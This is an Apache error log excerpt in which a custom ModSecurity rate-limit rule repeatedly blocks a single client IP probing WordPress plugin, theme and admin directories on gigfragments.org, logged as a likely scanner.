[Mon Jan 05 18:26:43.523106 2026] [:error] [pid 6680:tid 6696] [client 156.146.33.76:36004] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aVuR46E58uNoazzTmx3SmgAAAQ4"]
[Mon Jan 05 18:26:44.108542 2026] [:error] [pid 5536:tid 5602] [client 156.146.33.76:36016] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aVuR5ARtMZNG6xI8yDzGuwAAAIU"]
[Mon Jan 05 18:26:44.701300 2026] [:error] [pid 5534:tid 5543] [client 156.146.33.76:36022] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aVuR5JNs9XmbR6unB0ycfgAAAAA"]
[Mon Jan 05 18:26:45.562388 2026] [:error] [pid 5534:tid 5561] [client 156.146.33.76:36032] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/"] [unique_id "aVuR5ZNs9XmbR6unB0ycgQAAABI"]
[Mon Jan 05 18:26:46.144674 2026] [:error] [pid 6680:tid 6701] [client 156.146.33.76:38804] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/"] [unique_id "aVuR5qE58uNoazzTmx3SnAAAARM"]
[Mon Jan 05 18:26:46.724763 2026] [:error] [pid 6680:tid 6697] [client 156.146.33.76:38820] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/"] [unique_id "aVuR5qE58uNoazzTmx3SnQAAAQ8"]
[Mon Jan 05 18:26:47.306628 2026] [:error] [pid 6680:tid 6685] [client 156.146.33.76:38834] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/"] [unique_id "aVuR56E58uNoazzTmx3SngAAAQM"]
[Mon Jan 05 18:26:47.890054 2026] [:error] [pid 6680:tid 6682] [client 156.146.33.76:38848] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aVuR56E58uNoazzTmx3SnwAAAQA"]
[Mon Jan 05 18:26:48.469057 2026] [:error] [pid 5535:tid 5585] [client 156.146.33.76:38862] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aVuR6GnkedMjhVX0PTVXwAAAAE8"]
[Mon Jan 05 18:26:49.055972 2026] [:error] [pid 54081:tid 54090] [client 156.146.33.76:38874] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aVuR6VL4jLgtF-b9w4dqfgAAAUY"]
[Mon Jan 05 18:26:49.644208 2026] [:error] [pid 54081:tid 54092] [client 156.146.33.76:38876] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aVuR6VL4jLgtF-b9w4dqgAAAAUg"]
[Mon Jan 05 18:26:50.223653 2026] [:error] [pid 5536:tid 5600] [client 156.146.33.76:38878] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aVuR6gRtMZNG6xI8yDzGvQAAAIM"]
[Mon Jan 05 18:26:50.812037 2026] [:error] [pid 54081:tid 54103] [client 156.146.33.76:38880] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aVuR6lL4jLgtF-b9w4dqgwAAAVM"]
[Mon Jan 05 18:26:51.391852 2026] [:error] [pid 5632:tid 5652] [client 156.146.33.76:38888] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aVuR64N3ZWvlOh-nbt-rqQAAAMg"]
[Mon Jan 05 18:26:51.971617 2026] [:error] [pid 6680:tid 6696] [client 156.146.33.76:38900] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aVuR66E58uNoazzTmx3SpwAAAQ4"]
[Mon Jan 05 18:26:52.559383 2026] [:error] [pid 28407:tid 28430] [client 156.146.33.76:38908] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aVuR7Nercd3ptydUzM0rqAAAAZM"]
[Mon Jan 05 18:26:53.137215 2026] [:error] [pid 5535:tid 5571] [client 156.146.33.76:38922] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aVuR7WnkedMjhVX0PTVXwQAAAEE"]
[Mon Jan 05 18:26:53.722972 2026] [:error] [pid 5535:tid 5589] [client 156.146.33.76:38930] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aVuR7WnkedMjhVX0PTVXwwAAAFM"]
[Mon Jan 05 18:26:54.308593 2026] [:error] [pid 6680:tid 6684] [client 156.146.33.76:38942] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aVuR7qE58uNoazzTmx3SqwAAAQI"]
[Mon Jan 05 18:26:54.900354 2026] [:error] [pid 5536:tid 5602] [client 156.146.33.76:38948] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/"] [unique_id "aVuR7gRtMZNG6xI8yDzGyQAAAIU"]
[Mon Jan 05 18:26:55.560362 2026] [:error] [pid 28407:tid 28417] [client 156.146.33.76:38950] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/"] [unique_id "aVuR79ercd3ptydUzM0rrQAAAYc"]
[Mon Jan 05 18:26:56.145073 2026] [:error] [pid 5535:tid 5581] [client 156.146.33.76:39068] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/"] [unique_id "aVuR8GnkedMjhVX0PTVXxQAAAEs"]
[Mon Jan 05 18:26:56.727396 2026] [:error] [pid 6680:tid 6701] [client 156.146.33.76:39074] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/"] [unique_id "aVuR8KE58uNoazzTmx3SrQAAARM"]
[Mon Jan 05 18:26:57.339483 2026] [:error] [pid 5535:tid 5587] [client 156.146.33.76:39078] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aVuR8WnkedMjhVX0PTVXxgAAAFE"]
[Mon Jan 05 18:26:57.927814 2026] [:error] [pid 28407:tid 28427] [client 156.146.33.76:39082] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aVuR8dercd3ptydUzM0rsgAAAZA"]
[Mon Jan 05 18:26:58.507484 2026] [:error] [pid 54081:tid 54094] [client 156.146.33.76:39086] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aVuR8lL4jLgtF-b9w4dqhgAAAUo"]
[Mon Jan 05 18:26:59.089290 2026] [:error] [pid 54081:tid 54093] [client 156.146.33.76:39090] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aVuR81L4jLgtF-b9w4dqiQAAAUk"]
[Mon Jan 05 18:26:59.668637 2026] [:error] [pid 28407:tid 28431] [client 156.146.33.76:39096] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aVuR89ercd3ptydUzM0rswAAAZQ"]
[Mon Jan 05 18:27:00.250046 2026] [:error] [pid 5536:tid 5601] [client 156.146.33.76:39108] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aVuR9ARtMZNG6xI8yDzG0wAAAIQ"]
[Mon Jan 05 18:27:00.831847 2026] [:error] [pid 28407:tid 28434] [client 156.146.33.76:39122] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aVuR9Nercd3ptydUzM0rtQAAAZc"]
[Mon Jan 05 18:27:01.428702 2026] [:error] [pid 6680:tid 6698] [client 156.146.33.76:39138] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aVuR9aE58uNoazzTmx3SsgAAARA"]
[Mon Jan 05 18:27:02.010825 2026] [:error] [pid 54081:tid 54100] [client 156.146.33.76:39154] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/meta/"] [unique_id "aVuR9lL4jLgtF-b9w4dqkQAAAVA"]
[Mon Jan 05 18:27:02.595294 2026] [:error] [pid 5534:tid 5564] [client 156.146.33.76:39158] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/meta/"] [unique_id "aVuR9pNs9XmbR6unB0yctAAAABU"]
[Mon Jan 05 18:27:03.176958 2026] [:error] [pid 5534:tid 5560] [client 156.146.33.76:39170] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/meta/"] [unique_id "aVuR95Ns9XmbR6unB0yctwAAABE"]
[Mon Jan 05 18:27:03.758230 2026] [:error] [pid 5632:tid 5666] [client 156.146.33.76:39172] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/meta/"] [unique_id "aVuR94N3ZWvlOh-nbt-rswAAANY"]
[Mon Jan 05 18:27:04.340454 2026] [:error] [pid 5536:tid 5600] [client 156.146.33.76:39182] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aVuR-ARtMZNG6xI8yDzG1wAAAIM"]
[Mon Jan 05 18:27:04.926886 2026] [:error] [pid 54081:tid 54094] [client 156.146.33.76:39190] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aVuR-FL4jLgtF-b9w4dqlQAAAUo"]
[Mon Jan 05 18:27:05.511695 2026] [:error] [pid 5632:tid 5667] [client 156.146.33.76:39200] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aVuR-YN3ZWvlOh-nbt-rtAAAANc"]
[Mon Jan 05 18:27:06.098218 2026] [:error] [pid 5536:tid 5616] [client 156.146.33.76:38286] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aVuR-gRtMZNG6xI8yDzG2wAAAJM"]
[Mon Jan 05 18:27:06.678726 2026] [:error] [pid 5536:tid 5606] [client 156.146.33.76:38288] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/"] [unique_id "aVuR-gRtMZNG6xI8yDzG3QAAAIk"]
[Mon Jan 05 18:27:07.267759 2026] [:error] [pid 5536:tid 5601] [client 156.146.33.76:38302] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/"] [unique_id "aVuR-wRtMZNG6xI8yDzG4AAAAIQ"]
[Mon Jan 05 18:27:07.847595 2026] [:error] [pid 54081:tid 54092] [client 156.146.33.76:38316] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/"] [unique_id "aVuR-1L4jLgtF-b9w4dqmQAAAUg"]
[Mon Jan 05 18:27:08.435045 2026] [:error] [pid 5632:tid 5647] [client 156.146.33.76:38328] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/"] [unique_id "aVuR_IN3ZWvlOh-nbt-ruAAAAMM"]
[Mon Jan 05 18:27:09.015155 2026] [:error] [pid 5534:tid 5553] [client 156.146.33.76:38332] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aVuR_ZNs9XmbR6unB0ycwAAAAAo"]
[Mon Jan 05 18:27:09.599900 2026] [:error] [pid 5534:tid 5560] [client 156.146.33.76:38334] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aVuR_ZNs9XmbR6unB0ycwwAAABE"]
[Mon Jan 05 18:27:10.178229 2026] [:error] [pid 6680:tid 6701] [client 156.146.33.76:38336] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aVuR_qE58uNoazzTmx3StAAAARM"]
[Mon Jan 05 18:27:10.759035 2026] [:error] [pid 5632:tid 5665] [client 156.146.33.76:38352] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aVuR_oN3ZWvlOh-nbt-rvQAAANU"]
[Mon Jan 05 18:27:11.350240 2026] [:error] [pid 5632:tid 5651] [client 156.146.33.76:38364] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aVuR_4N3ZWvlOh-nbt-rvwAAAMc"]
[Mon Jan 05 18:27:11.930171 2026] [:error] [pid 5536:tid 5617] [client 156.146.33.76:38368] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aVuR_wRtMZNG6xI8yDzG5AAAAJQ"]
[Mon Jan 05 18:27:12.518426 2026] [:error] [pid 5632:tid 5667] [client 156.146.33.76:38372] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aVuSAIN3ZWvlOh-nbt-rwgAAANc"]
[Mon Jan 05 18:27:13.100872 2026] [:error] [pid 5632:tid 5650] [client 156.146.33.76:38380] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aVuSAYN3ZWvlOh-nbt-rxAAAAMY"]
[Mon Jan 05 18:27:13.681872 2026] [:error] [pid 5632:tid 5648] [client 156.146.33.76:38396] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aVuSAYN3ZWvlOh-nbt-rxgAAAMQ"]
[Mon Jan 05 18:27:14.266963 2026] [:error] [pid 5632:tid 5647] [client 156.146.33.76:38410] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aVuSAoN3ZWvlOh-nbt-ryAAAAMM"]
[Mon Jan 05 18:27:14.853882 2026] [:error] [pid 5632:tid 5655] [client 156.146.33.76:38412] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aVuSAoN3ZWvlOh-nbt-rywAAAMs"]
[Mon Jan 05 18:27:15.433686 2026] [:error] [pid 6680:tid 6704] [client 156.146.33.76:38414] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aVuSA6E58uNoazzTmx3SuAAAARY"]
